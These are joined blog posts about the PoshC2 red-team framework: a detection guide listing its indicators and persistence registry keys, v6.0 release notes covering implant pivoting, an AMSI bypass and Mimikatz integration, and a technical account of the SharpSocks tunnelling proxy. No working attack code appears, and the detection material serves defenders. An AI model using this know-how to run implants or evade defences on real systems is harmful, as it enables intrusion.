Here we can see various processes that have loaded System.Management.Automation.dll into memory that are likely implants.

C# Implant

The C# or Sharp implant is PoshC2’s ‘next gen’ implant, written (unsurprisingly) in C#. The key difference from a detection perspective is that this implant does not require loading System.Management.Automation.dll in order to function. Most of the functionality of the C# implant is custom-written and while it can load System.Management.Automation.dll in order to execute PowerShell, this is an operator decision and is by no means necessary.

A similar process to the above can be applied, but is a little harder to implement. .NET processes load the mscoree.dll library which is the core library behind the .NET CLR (Command Language Runtime), so again any unmanaged code processes that are loading this library could have been migrated into. The issue here is finding these processes, as it’s not as simple as searching for just ‘module loaded and process name is not powershell.exe’.

A blacklist can be created of common target processes that are unmanaged, always available and should not be loading the .NET runtime, and these can be monitored, as well as noting this during manual triage.

Implant loads mscoree.dll if it is not already present in the process – another IoC if the process is supposed to be unmanaged.

A C# implant loads mscoree.dll if it is not already present in the process – another IoC if the process is supposed to be unmanaged.

Note that the PowerShell implant will also load this library as it is also a .NET process, however the presence of System.Management.Automation.dll marks it as an implant that can run PowerShell.

The C# implant has the ability to load compiled binaries into memory over C2 and run them, which is extremely powerful. There are indicators of this however, as a new virtual runspace is created for each module and their namespace is listed in the AppDomain to which they are loaded.

Viewing the .NET Assemblies in Process Explorer or Process Hacker for example then reveals what modules have been run.

In the C# implant loaded modules have their namespace visible in the AppDomain, making it clear what has been loaded into the implant.

In the C# implant loaded modules have their namespace visible in the AppDomain, making it clear what has been loaded into the implant.

Above we can see the Core and dropper_cs modules that make up the core functionality of the C# implant, as well as some native modules from Microsoft that are required to run. These modules will always be present in the PoshC2 C# implant and are a clear IoC. We also see Seatbelt and SharpUp, two common C# offensive modules from SpectreOps, and we can surmise that they have been on the target.

In General

Migration

We have used netsh.exe as the example implant process in this post and that is for a good reason. The default migration process for PoshC2 in the C# and PowerShell implants is C:\Windows\System32\netsh.exe, so when the migrate or inject-shellcode commands are used and a specific process ID or name is not set, then a new netsh.exe process is spawned and migrated into.

This itself is a common IoC for PoshC2, as netsh.exe is not typically frequently run in environments, and certainly not on most end user’s hosts. Therefore, if there is a sudden uptick in the number of these processes being run in the environment or if several are running on a host then it could be worth investigating.

Persistence

PoshC2 has three quick persistence commands available to the PowerShell implant. Each of these installs a PowerShell.exe one liner payload to the registry in the key at HKCU\Software\Microsoft\Windows\CurrentVersion\themes with a name Wallpaper777, Wallpaper555 or Wallpaper666, depending on the command being run.

This payload is then triggered by either:

  • A registry key at HKCU\Software\Microsoft\Windows\CurrentVersion\run with the name IEUpdate
  • A Scheduled Task, also with the name IEUpdate
  • A shortcut file placed at %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\IEUpdate.lnk

All of these can be alerted upon and used to determine that the adversary using PoshC2, in addition to alerting on the invocation of PowerShell.exe with encoded parameters, and so on.

Binary payloads

Some of the more common payloads that are dropped on targets are the PoshC2 executables and DLLs that can be run using rundll32.exe.

For the DLLs, there are different versions for PowerShell and Sharp implants across versions 2 and 4 of PowerShell and x86 and x64 bit architectures, however all the DLLs have a single entry-point common to all: VoidFunc.

All the DLL payloads have the same single entry point of VoidFunc.

All the DLL payloads have the same single entry point of VoidFunc.

This entry-point is hard-coded in PoshC2 and cannot be changed without hacking the compiled binary itself.

For the common executable and DLL payloads we’ve also added Yara rules for detecting them. These are based on signaturable parts of the binaries that will not change across different installs of PoshC2, for example with different comms options. These are also available in the new PoshC2 Detections GitHub repository.

In Summary

We’ve looked at a few different detections for catching PoshC2 when used out-of-the-box. Using these in your environment will help protect against the less sophisticated users of PoshC2 in addition to further understanding how the tool works.

Any new detections or amendments can be added to the https://github.com/nettitude/PoshC2_IOCs repository and we encourage the community to add their own detections or rules and configurations for other security tools to help build a centralised data store for everyone.

Introducing PoshC2 v6.0

We are pleased to release the latest version of PoshC2 – v6.0. Version 6.0 includes a number of significant and exciting features, in addition to the usual plethora of bug fixes and small improvements. In this blog post, we take a look at some of the more significant changes and feature rich enhancements to make it easier for operators.

Download PoshC2 v6.0

You can download PoshC2 v6.0 from GitHub:

github GitHub: https://github.com/nettitude/PoshC2

Postgres Support

Reporting and auditing actions is an essential part of any C2 framework. As operators, we need to reliably determine all actions that have performed, in case there’s an incident as well as for accurate reporting. PoshC2 normally uses SQLite databases in the project directory to store its data, but we found that for large projects or a very high number of implants the performance of this database can become an issue and start to slow down.

For this reason, we’ve added support for Postgres databases, allowing teams to point their PoshC2 install at a Postgres instance and have the project data stored in a performant database on a separate server, if desired.

Using Postgres in PoshC2 is easy, simply change the DatabaseType value in the config.yml from SQLite to Postgres, and set the PostgresConnectionString as follows. The only other thing to note is you must create the database manually before adding the connection string.

That’s all there is to it!

Daisy Chaining

Daisy chaining implants has been an incredible feature of PoshC2 for some time now. The ability to have one implant beacon to another existing implant allows operators to compromise environments that can’t reach the Internet, by having communications route through an active implant that can. These implants can be daisy-chained to an arbitrary length which is extremely useful and powerful, but sometimes setting up daisy-chaining felt a little arcane, and if you didn’t make the right sacrifice to the right deity at the right time it may not work and troubleshooting the issue was not the easiest.

To help with this, we’ve added a wizard. Simply run startdaisy from the implant you want to use as the daisy server and it will guide the operator through the different options and situations before starting the daisy server on the current implant, and generate new daisy payloads that can be used to connect to this instance.

Once the daisy implant has been obtained, the operator can simply run startdaisy on that implant if they want to go deeper, or just use the implant as they would normally if one layer pivoting is all that’s required.

It should be noted that binding to a non-localhost IP address requires elevation, but daisy-chaining can still be used on the localhost without elevation. This is useful for elevation of privilege attacks, for example, creating implants as other users that cannot or should not have traffic leaving the environment, such as SYSTEM implants.

Dynamic Code Execution

Most red teams need the ability to quickly adapt to situations, to take advantage of fleeting opportunities or tackle difficult problems innovatively and creatively.

To help with this, we’ve added a quick and easy way of being able to write and run code down on a C# implant. PoshC2’s ‘Dynamic Code’ feature creates a DynamicCode.cs file in the project payloads directory. This file can then be edited at will in your editor of choice and run in the implant instantly.

Once done, saving it and running dynamic-code from a C# implant will compile this code and execute it in memory, on the target, on the fly.

This should enable teams to prototype and run their own code snippets or C# scripts quickly, allowing them to improvise, adapt and overcome obstacles they encounter.

AMSI Bypass

We’ve also updated the AMSI bypass for C# implant as well as help obfuscate the initial PowerShell cradle, which may help when fighting off Windows Defender. There were recently a few good blog articles from the security community that have helped us with this, as follows:

@_RastaMouse also has a GitHub repository that has the AMSI ScanBufferBypass that is leveraged in the C# implant shellcode, which evades the System.Reflection.Assembly.Load methods. Hopefully this means you can have more success on engagements rather than fighting with Windows Defender in order to help improve your client’s security posture.

Sharp PowerShell

Another significant change is the addition of PowerShell execution in the C# implant.

By using the sharpps command, operators can execute PowerShell in memory on the target from a C# implant, effectively adding the full power of PowerShell and the PowerShell implant to the C# implant. Similarly, modules can be loaded using the pslo (PowerShell loadmodule) command.

#OpSec Warning: Note that while PowerShell.exe is never touched or used, this will load the System.Management.Automation.dll into memory for the implant process when a sharpps or pslo command is first run.

SharpSploit integration

SharpSploit is a fantastic resource and has been included with PoshC2’s modules for some time now, but usage had been quite manual through the run-dll command.

We have started to integrate SharpSploit into PoshC2 more in order to leverage this tool more easily, starting with its Mimikatz commands:

We will continue to expand in this area over the next few months, so watch this space.

Indicators of Compromise

A key consideration when using a C2 framework is the Indicators of Compromise (IoCs) it has, and how well known they are.

Many of PoshC2’s IoCs are well fingerprinted, but can be altered in the config.yml file, such as the UserAgent string, default migration process, server header and more.

Previously, the HTTP responses that were returned by the server were simple inline pages in the configuration file, making it difficult to alter these to reflect real HTML pages. These have now been pulled out into standalone files in resources/responses folder so they can be easily edited.

A file is randomly selected and used as a response for HTML requests.

Searching history

PoshC2 already allows interactive command searching similar to bash using the Ctrl-R key combination, but a much requested feature was the ability to search through the command history in a similar way to the searchhelp command, which returns a list based off a regex search.

A searchhistory command has now been added which does exactly this, allowing operators to find all relevant commands, helpful both on engagements and when reporting, or even updating your notes with the cool commands you used during a live engagement.

C# Portscanner

Rob Maslen’s (@rbmaslen) PortScanner module has been added to PoshC2 and integrated into the C# implant so we can now fully utilize this in engagements where the PowerShell implant may get detected.

This fast and effective port scanner is loaded and run in memory by the C# implant and can be executed as shown below. It will also show closed ports for when you may need to tunnel through the network using already pre-approved ports on the firewall.

fpc script improvements

The fpc (Find PoshC2 Command) script is installed by PoshC2 to help with reporting and logging. When run from the command line, it allows users to search the PoshC2 database for commands or command output containing certain keywords. Rich Hicks (@Console) has significantly enhanced this script by improving its output to include the user and timestamp that run the particular command, in addition to adding a new filter for the taskId.

This script has also been updated to add support for Postgres.

RedELK Support

Working with @OutflankNL we’ve helped add support for PoshC2 to their awesome RedELK tool. This Red Team SIEM provides phenomenal oversight and insight into the actions being performed both by the Red Team and by the Blue Team when investigating an incident caused by that C2 instance, alerting the Red Team that they have been compromised. For more information, see the RedELK page here: https://github.com/outflanknl/RedELK.

Download PoshC2 v6.0

You can download PoshC2 v6.0 from GitHub:

github GitHub: https://github.com/nettitude/PoshC2

Roadmap

We still have a lot of planned improvements for PoshC2. Some of the prioritised changes are below:

  • Refresh the documentation.
  • Continue improving the ease of configuration for PoshC2’s IoCs (Indicators of Compromise), such as the HTTP responses and URLs used.
  • Provide the community with increased detections for PoshC2’s default IoCs, such as behavioural IoCs, yara rules and so on.
  • Continue refactoring PoshC2 for ease of development and testing.
  • Link pre-compiled third-party modules to their respective repositories for credit, updating, investigation etc.
  • Move to ISO standard date formats (yyyy-MM-dd).
  • Add an (optional) embedded RedELK Red Team SIEM to PoshC2’s C2 server.
  • Update Nettitude’s Red Team Training Course to cover in detail advanced usage of PoshC2 and knowledge of its IoCs, including altering core behavioural and static IoCs.
  • Add a python3 dropper.

Other Updates

A large number of other updates and fixes have been added in this version, some of which are briefly summarised below. For updates and tips check out @nettitude_labs, @benpturner and @m0rv4i on Twitter.

  • Updated SharpHound to the latest version 3.0.4
  • Kali Linux is the supported Operating System of choice now, with the Dockerfile building from the base Kali rolling image.
  • Clockwork SMS support has been retired and Pushover support enhanced, with the ability to set the API keys from the Implant Handler.
  • The Implant Handler display has been altered slightly, with labels on the right and displayed in blue.
  • Modules are now no longer loaded from the modules directory if a full path is specified to the loadmodule command.
  • The C# dropper now explicitly states the format it expects numbers, such as jitter, to avoid formatting issues when implants are running in other locales.
  • Beacon times will only be updated in the UI and server side when a beacon successfully accepts the beacon update task.
  • Implants will now retry up to five times to POST task data back if the request fails.
  • Kevin-Robertson’s Powermad module added (Thanks to Roxana Kovaci (@rkovaci)).
  • Install Script now checks it is running as root and exits if now with a user friendly message (Thanks to @jaredstroud).
  • Add m0rv4i’s SharpCookieMonster module.
  • Added updated PowerUpSQL from @NetSPI and new SweetPotato.exe module from @CCob
  • Added a sharp command safety check in the PS implant to catch commands that are likely for the C# implant and prompt for confirmation.
  • Update Rubeus module (Thanks to Tom MacDonald (@BaffledJimmy))
  • Updated the SharpHound3 help for increased operational security and stealth (Thanks to Ross Bingham (@PwnDexter))
  • Added ability to auto-hide implants that have not beaconed in for over 30 beacons with the –a option to the implant handler.
  • Added a static warning to the top of the ImplantHandler in red when the Kill date is less than 7 days away (thanks to @Felix).
  • Fixed: Encryption of special characters in commands could silently fail, particularly critical when entering a password with a special character in it.
  • Fixed: Generated HTML reports being truncated
  • Fixed: Various Upload and Download-file issues. (Thanks to @clhefton and @chppppp)
  • Fixed: Missing mono assemblies for installing on Ubuntu
  • Fixed: startanotherimplant-keepfile command not working in Python implant
  • Fixed: SharpSocks support via Domain Fronted URLs.
  • Fixed: Mimikatz credential parsing for creds command.
  • Fixed: Python2 dropper didn’t work in Python versions before 2.7.0 (Thanks to @RustyBower).
  • Fixed: PowerShell implants install-servicelevel-persistence (Thanks to @developerbart)
  • Fixed: Typo in backup folder name when starting PoshC2 with a different configuration (Thanks to @er28-0652).
  • Fixed: Many, many issues with the PoshC2.psm1 PowerShell module for PoshC2 on Windows via Docker (Thanks to @justin-p).
  • Fixed: Various SharpSocks issues (Thanks to Roxana Kovaci (@rkovaci)).
  • Fixed: Kill date format handling inconsistent across locales (Thanks to @KidneyThief).
  • Fixed: Python dropper.sh now explicitly uses python2 (Thanks to @clhefton).

Introducing SharpSocks v2.0

It has been over a year since we released the first version of SharpSocks, our proxy-aware reverse HTTP tunnelling SOCKS proxy. This post aims to provide a State of the Nation update for users. It details some of our experiences using it, how the experience and performance has been massively improved, and some of our observations along that journey for those interested in some of the juicy technical details under the hood.

TLDR – SharpSocks performance has been massively increased and is now fully integrated into PoshC2 so you can type sharpsocks to get this going straight away.

What’s the point of a SOCKS proxy?

When performing a simulated attack (red team), or indeed many other types of test, SOCKS proxies become an integral tool during the “Act on Objectives” phase of the kill chain. For example, if the target is behind the network perimeter, is a system accessible via RDP, is an intranet site or is a Citrix hosted application, the SOCKS proxy becomes an essential tool. It can allow access to those “internal only” resources, through an established implants C2 (Command and Control). The diagram below shows a typical scenario in a red team:

Currently, there are plenty of SOCKS proxy implementations that can be used in this scenario (which are very good) but these are usually built in to the various C2 frameworks. The initial goal of SharpSocks was to be “framework agnostic”, such that it could be deployed to a machine, independent of whether an implant was operating or not.

When a SOCKS Proxy is deployed via other C2 frameworks, the beacon frequency must be increased to provide quick feedback (usually 1-5 seconds), as a consequence of the volume of data being sent and received increasing considerably. In addition, there are connections to potentially sensitive services, which can generate events or Indicators of Compromise (IOCs) thus increasing the risk of detection.

By separating the SOCKS proxy from your main C2 Implant comms:

  • You can deploy the SOCKS Proxy to an unrelated machine and communicate through separate infrastructure.
  • Even if the SOCKS Proxy activity gets detected, it will not result in losing your initial foothold. If the SOCKS and C2 Implant are combined then there is a higher chance of detection.

Downsides to the “Separation” :

  • Additional setup, C2 infrastructure, separate commands and tools.
  • The actual code of gets larger.
  • The configuration becomes a lot more complicated.

It also does not help the fact that we like developing in C#, while everyone else wants to pwn stuff with Linux. In order to get around this, the use of SharpSocks with PoshC2 was supported by Wine. The SharpSocks client would work on a Linux OS but this was definitely less than optimal. Sooooo…

SharpSocks Server is now cross platform .Net Core

The main announcement is that at least on the SharpSocks side it has been ported to .Net Core (no more Wine thankfully; more on this below) and that its traffic is routed through PoshC2. In terms of PoshC2, which is detailed here: Introducing PoshC2 v5.0, major improvements have been made in its usability, in order to make SharpSocks a primary component rather than a tack on to the side.

Considering the risks we mentioned above, in deploying the SOCKS Proxy and implant on the same host and going back through the same infrastructure, is it still possible to deploy SharpSocks separately?

The answer is yes; absolutely the primary design goal of SharpSocks being deployed as a standalone SOCKS tool is still available.

State of the Nation

Some of the other project goals were to deliver a tool with the following features:

  1. Performance; ensure that the user experience of any protocol being tunnelled such as RDP is good.
  2. Proxy aware when sending traffic outside of the network.
  3. Allow for the easy customisation of the URLs used, the encryption mechanism and the data transport locations.

Over the last year, SharpSocks has seen regular usage on engagements where we have deployed PoshC2. One theme of threat intelligence led simulated attacks (CREST STAR, CBEST, TIBER etc.) is the use of a range of tools (i.e. C2 Frameworks) in order to simulate different levels of threat actor sophistication. PoshC2 is used in conjunction with commercial offerings and our own private Remote Access Tool (RAT) to simulate different types of adversaries.

Generally, feedback on SharpSocks use has been positive by our team, however the consistent themes of frustration have always been ease of use and performance. By far one of the most embarrassing situations as a developer you can get yourself into is when you completely forget how to setup your own tool. SOCKS proxying by nature is slow, however compared to other similar tools, SharpSocks still wasn’t the fastest.

This is where this updated release comes in. It is designed to make SharpSocks easier to use, fix some long standing bugs and generally make the performance of SOCKS proxying better and faster.

.Net Core

As mentioned above, the SharpSocks Server component is now built as a .Net Core project. Why .Net Core? Well, when SharpSocks was originally built, it was a purely “C# Windows” only solution. This was primarily due to my background as a professional developer before my career in InfoSec. Creating a Windows only tool really does, in terms of InfoSec, limit your potential user base. Eventually I came to the conclusion that yes – it had to become cross platform. Some of the options included Go or Python, but in the end porting to these would have required a complete rewrite of the underlying code base, something I was really not sure was worth the effort considering that .Net Core is available.

By porting to .Net Core, it is now possible to run SharpSocks on either Windows, Linux or MacOS with limited changes. The process of porting involved creating a new .Net Core project and moving the source into it. The only change that had to be made was that the encryption code tried to limit exposure of the key in memory by using DPAPI; in .Net Core this does not appear to be supported as I suspect there is no direct analogue in Linux or MacOS.

The main advantage of running as .NET Core rather than Wine is performance; tunnelling your traffic through SharpSocks feels so much faster. This is entirely logical, as it runs on a small optimised platform runtime.

Other Changes

Other fixes and changes include an overhaul of the error handling, particularly when the server has stopped responding. A particularly nasty issue was found that occurred when the redirector returned a 404 and the server had been stopped.

There is also a new option on Server called socketTimeout (pass either -st or -socketTimeout and an integer value for second e.g. 240).

  • This controls how long a SOCKS connection to the server will be held open without any data having been sent over it. This is not something that you should normally have to tweak, however if you are having problems with the application being tunnelled timing out then this is a value that may help.

How to use (SharpSocks in Posh)

  1. Get a shell (PowerShell or C# implant) on the target host using your favourite execution method.
  2. Within the implant handler, select the implant.
  3. Type sharpsocks within the implant handler. Immediately, a line will be printed out with detail that you will need to start the server. Copy this and paste it into a terminal (NOT into the PoshC2 implant handler).
  4. Once the server has started, type ‘Y’ and enter into the implant handler window. The output should now say that the implant has started. You can confirm this by looking at the output from the server you started in the previous step. If it has started, you should see the port that the SOCKS Proxy is now listening on (most likely 43334).
  5. If you haven’t already done so, now is the time to configure proxychains, your browser or the SOCKS aware application to point to localhost:43334.
  6. With this you can start SOCKS Proxying away.

SharpSocks Deep Dive

As stated, it had been a while since the initial release of SharpSocks and it was time to do a little work on it. The following is a bit of a deep dive on how it works, some of the changes that have been made recently, and issues that we had to work through. If there is anything you would like to know more about, hit me up on twitter @rbmaslen or on the PoshC2 Slack channel (poshc2.slack.com – email us @ labs at nettitude dot com for an invite).

Long Polling

Having taken Silent Break Security’s excellent Dark Side Ops 2 course (https://silentbreaksecurity.com/training/dark-side-ops-2-adversary-simulation/ ) at DerbyCon last year, before smashing the 2018 CTF with SpicyWeasel, I was struck by the usefulness of HTTP Long Poll. I had come across the concept many years ago in another life as a developer but hadn’t really grasped the relevance to the Red Team toolkit until I took the course.

The premise, essentially, is that you are inverting the beacon. In traditional implants:

  • The main thread is on a timer (with an inbuilt jitter value).
  • When this interval elapses a call back is made to the C2 Server.

One of the main problems with running on beacon time is that once you have queued your task, there is plenty of time to be distracted before the results arrive in. Long Polling means that when a request is made to an HTTP Server, the connection will be held open until a result set is ready (or a much longer time out elapses server side).

How this works in the implant context is that when the request comes into the C2 Server from the implant, the connection (HTTP Request) is held open until tasks have been queued or if tasks are queued and ready to go, it returns immediately. This puts the wait upon the Server side and makes the implant/tasking feel very snappy much more like a command line.

It also means shorter beacon times when being actively used and longer ones when not in use, so the operator needs to spend less time adjusting the sleep time. It also probably makes it a little harder for tools looking for “regular” HTTP requests in order to identify beacons.

So how does that relate to SharpSocks? Well, I’m glad you asked; first it’s probably best to understand how SharpSocks works as a concept.

So how does it all work then?

Very good question, if you do know answers on a postcard please 🙂

Breaking it down, there are at a bare minimum two components, the first being the “Server” and the second being “Implant” (both as separate Visual Studio projects). Within the Visual Studio solutions there are also two test applications that you can use if you are debugging the libraries. The way that SharpSocks is normally deployed, particularly via the Implant, is either a PowerShell script that loads the library or a C# implant that loads the Assembly (.dll).

The Server at it’s core is an HTTPListener. When the server starts up, it starts listening for connections to the URI that has been passed.

An important point is that the Implant and the Server need to share a few secrets:

  1. One is an Encryption Key.
  2. The other is a Command Channel Session Id.

The Implant communicates to the Server via XML Messages in regular Web Requests (encrypted of course. The request needs to identify the connection or the Command Channel that messages are being sent about by a randomly generated Session Id.

The Command Channel has a special one that is shared between the “Server” and the “Implant’ at start-up. Messages about connections opening and closing are sent over the Command Channel (encrypted of course with the key); actual traffic and a status are sent with session id’s that identify the connection.

I need to admit that XML is not a great format. It was used for simplicity when SharpSocks was first built, and yes it will be replaced at some point in time, but it works for the moment. A point could also be made about the lack of multiplexing; at the moment each request will only have information about one Session Id (Command Channel can have multiple open/close messages). This is on the road map, as I would really like to be able to reduce the number of web requests.

The first time a Command Channel request is sent by the Implant another port on the localhost interface is opened up. This is the SOCKS port where you can point your browser, other SOCKS proxy aware app or proxychains (the port itself either defaults to 43334 or what you pass on the command line). Now the app that wants to proxy needs to first send a request to this port identifying the host and the port that it wants to open a connection to (an example of the structure here is for SOCKS4) before it can send any data. The details about the connection to open is then queued as a Command Channel task which will be picked up by the implants Command Channel web request. Once the implant receives this message back, the connection to the specified host is attempted and a message based on the status of this connection is returned to the Server.

Back to Long Polling

So thinking about Long Polling you can probably immediately see where this might be of benefit to the Command Channel, particularly if you have an application that is infrequently opening connections. Having a traditional beacon means that there will be a delay in opening the connection at the implant side if the proxying application didn’t make the request to open right before the beacon arrived.

For this reason the implant now uses Long Polling for the Command Channel. If there are no connections to Open or Close (or none arrive during the wait) the Server will hold the connection open for 40 seconds delay before returning back to the implant telling it there is no work to do (the Implant will then wait a very small amount of time before initiating the connection again). This Long Poll interval can be tweaked on the Server at runtime by typing:

LPoll= e.g. LPoll=5 or LPoll=60

Heading back to the implant side, when it receives the Open message it will then attempt to create a TCP Connection to the specified host:port. Now in the previous version, all of the work that it was to perform was started asynchronously within a Task (one was opened per connection). The code running in this task would asynchronously poll that connection to the target application and then send/receive data to and from the Server via web requests. The Server itself would also have a polling loop checking any data on the SOCKS connection.

This kind of worked in theory, but using some real world applications like RDP (and then trying to debug why connections were really slow) showed up that this was a less than optimal design. There were too many Tasks being created (far too many resources being used), it was next to impossible to get an idea of any connections state when debugging and it had really been coded using a too simplistic notion that traffic would follow a pattern of:

client->server
server->client
client->server
etc.

Changing in this release, instead of both the Server and the Implant having a Task per open connection, there is now only a single loop that polls each of connections regularly (very regularly) to check if the connection is still open and read any data that is available. Moving to a singular loop has shown performance gains rather than losses (so the lesson here is beware of unnecessary parallelism particularly in terms of complexity).

Any data that has been read from a polled connection is written into a queue and then an Event is triggered (specifically a ManualResetEvent notifying another thread that there is data to send back to the Server. This threads sole job is to wait until there is data to send via Web Request back to the Server (it is important to note this is fire and forget, NOT long polled). It’s best to think of this as a standard ProducerConsumer loop. In order to implement it here I am using ConcurrentQueue’s. These are a really cool class helping to avoid locks in concurrent code.

So how does the data come back from Server? The Implant also makes a long polling request per open connection to poll the Servers queue for any data that needs to be sent down the SOCKS connection.

It’s really important to understand how this works as it leads to one of the more frustrating limits I’ve found in .Net (I’ve been coding C# since 2007 and this is the first time I have seen it).

Summing up in terms of Web Requests back to the server we have at least:

  • 1 Long Polled Command Channel back to the Server.
  • 1 Long Polled Data request per open connection.
  • 1 Normal request when the Target application has sent data to the implant.

I’ve got all the code ready, should work really nice but NOPE it’s gone really slow again. What?!

Limiting limits

If you have done any coding using WebClient, C#’s wrapper for making Web Requests, then you might have also come across ServicePoint & ServicePointManager. These classes control the underlying connection, the connection pool and the TLS connection to the target site.

In order to do a System Test of everything I configured the test apps to point to each other (on Windows 10 using FireFox with its proxy configured to use the SOCKS proxy port) – I tried to load the BBC Website and the results were not great. First of all it’s insane how much gets loaded by most modern websites and how many connections to different sites there are.

I’ve probably ignored this in Burp by hiding what is not in scope… Both Test applications have the option of passing verbose for logging, yielding a load of information about the connections being opened, data being sent back & forth, and timings. Now i could see a delay in various places but having so many connections made it really difficult, so thinking only having one connection might make life easier, I resorted to Curl.

Sure enough, yes, in Curl I still kept getting an artificial delay, so there was no other option but to go back into Visual Studio and debug it. Did this yield any info? Not really. So, I could see the connection being made, everything was cool until data needed to be sent back and there was always a delay that appeared consistent with the Long Poll, but not always.

Is there a happy ending?

Well, yes. After an inordinate amount of testing, thinking about trying to use Kestrel instead of HTTPListener and much reading of documentation, I came across this utterly insane limit within the ServicePointManager. Now, each domain that you make a connection to will have a ServicePoint instance, meaning that there is a maximum of two (yes, 2!) concurrent connections to any site. This value can be modified, but it must be done before any connection is made to the host otherwise a ServicePoint object will have been created and the limit will be two.

The image above is from:

https://docs.microsoft.com/en-us/dotnet/api/system.net.servicepointmanager.defaultconnectionlimit?view=netframework-4.8

So, we know that at least two connections are being Long Polled and any time data is read from the connection to the target application a third Web Request will be made. Either the Command Channel or Implants other connection will have to return before this can be sent. What can I say? Massively frustrating and I had never seen this before (or maybe I had in the past, forgotten it and am just getting old, who knows).

Conclusion

So, to wrap what have we learnt here… to be honest it just reinforces lessons that I have learnt continually through my career:

  • RTFM – there is incredible value in the MSDN.
  • Avoid unnecessary complexity and too much parallelism.

With this release I really feel that SharpSocks is getting a lot closer to the initial goals of being a very easy to use SOCKS proxy with solid performance. The upcoming features that are still in development are:

  • Reduce some of the web traffic mainly by multiplexing some messages.
  • Stop using XML and use a better message format.
  • Tighter integration with PoshC2.

Oh – I almost forgot: SOCKS5 (TCP only for the moment) and thus Burp are now supported. SOCKS away my friends!